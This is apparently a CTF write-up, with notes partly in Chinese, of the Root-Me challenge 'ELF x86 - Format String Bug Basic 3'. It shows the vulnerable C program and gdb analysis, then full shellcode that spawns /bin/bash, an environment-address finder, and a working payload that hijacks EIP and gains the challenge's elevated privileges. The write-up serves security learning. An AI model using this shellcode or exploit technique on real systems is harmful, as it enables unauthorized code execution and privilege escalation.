ELF x86 - Format String Bug Basic 3

ELF x86 - Format String Bug Basic 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char ** argv)
{

// char log_file = "/var/log/bin_error.log";
char outbuf[512];
char buffer[512];
char user[12];

char *username = "root-me";

// FILE *fp_log = fopen(log_file, "a");

printf("Username: ");
fgets(user, sizeof(user), stdin);
user[strlen(user) - 1] = '\0';

if (strcmp(user, username)) {

sprintf (buffer, "ERR Wrong user: %400s", user);
sprintf (outbuf, buffer);
// fprintf (fp_log, "%s\n", outbuf);

printf("Bad username: %s\n", user);
}

else {

printf("Hello %s ! How are you ?\n", user);
}
// fclose(fp_log);
return 0;

}

大体思路

  1. shellcode 放在环境变量中
  2. 溢出,控制EIP,指向shellcode

snprintf & sprintf

int snprintf(char *restrict s, size_t n,
       const char *restrict format, ...);
int sprintf(char *restrict s, const char *restrict format, ...);

后面跟着format

字符串漏洞 overwrite the GOT entry

$ ulimit -s unlimited 关闭ASLR


可以指定宽度,不足的左边补空格:
sprintf(s, “%8d%8d”, 123, 4567); //产生:” 123 4567”


得到段错误

char *s1 @ ebp-0x414 输入放在这里

push ebp
此时esp 指向ebp内的值

0x804858b <main+133>: lea eax,[ebp-0x408]
存放buffer

gdb-peda$ x/1s $ebp-0x408
0xbffff730:     "ERR Wrong user:", ' ' <repeats 185 times>...

0x80485a1 <main+155>: lea eax,[ebp-0x208]
存放outbuffer

gdb-peda$ x/100s $ebp+0x200
0xbffffe01:     "SHELLCODE=j\vX\231Rfh-p\211\341Rjhh/bash/bin\211\343RQS\211\341\315\200"

Then buffer is set to ERR Wrong user: <400-9 whitespaces>%200xAAAA
ERR Wrong user: 长度是16

outbuf is set to ERR Wrong user: <400-9 whitespaces><200 bytes>AAAA

576 space +7 =583 个space + 8字节 + AAAA
因为%x打印8个数,然后再存的话就是8字节
gdb-peda$ x/1s $ebp
0xbffffb18: ‘ ‘ <repeats 79 times>, “30303225AAAA”

那么
113 覆盖ebp的位置
EBP: 0xbffffb18 (“aaaa”)

%117xaaaa
执行leave后,esp指向aaaa
EIP: 0x61616161 (‘aaaa’)

shellcode

1
export SHELLCODE=`python -c 'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")'`
1
2
gdb-peda$ x/1s 0xbffffe02+0xa
0xbffffe0c: "j\vX\231Rfh-p\211\341Rjhh/bash/bin\211\343RQS\211\341\315\200"

palyload:
(python -c “print ‘%117x’ + ‘\x0c\xfe\xff\xbf’”;cat) | ./ch17

但是报段错误,还没想到原因。

解决方法

原因应该是gdb内外的地址是不一样的
https://github.com/s1syphu5/RootMe-Challenges/tree/master/System/ELF%20x86%20-%20Stack%20buffer%20overflow%20basic%204
使用这篇中的findenv.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]) {
char *ptr;
if(argc<3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
}

使用touch,vim命令创建文件

app-systeme-ch17@challenge02:~$ /tmp/findenv SHELLCODE ./ch17
SHELLCODE will be at 0xbffffe31


app-systeme-ch17@challenge02:~$ (python -c "print '%117x'+'\x31\xfe\xff\xbf'" ;
cat ) | ./ch17
Username: Bad username: %117x1þÿ¿
id
uid=1117(app-systeme-ch17) gid=1117(app-systeme-ch17) euid=1217(app-systeme-ch17
-cracked) groups=1117(app-systeme-ch17),100(users)

学到的命令

show env PATH

echo $PATH

%x 打印32位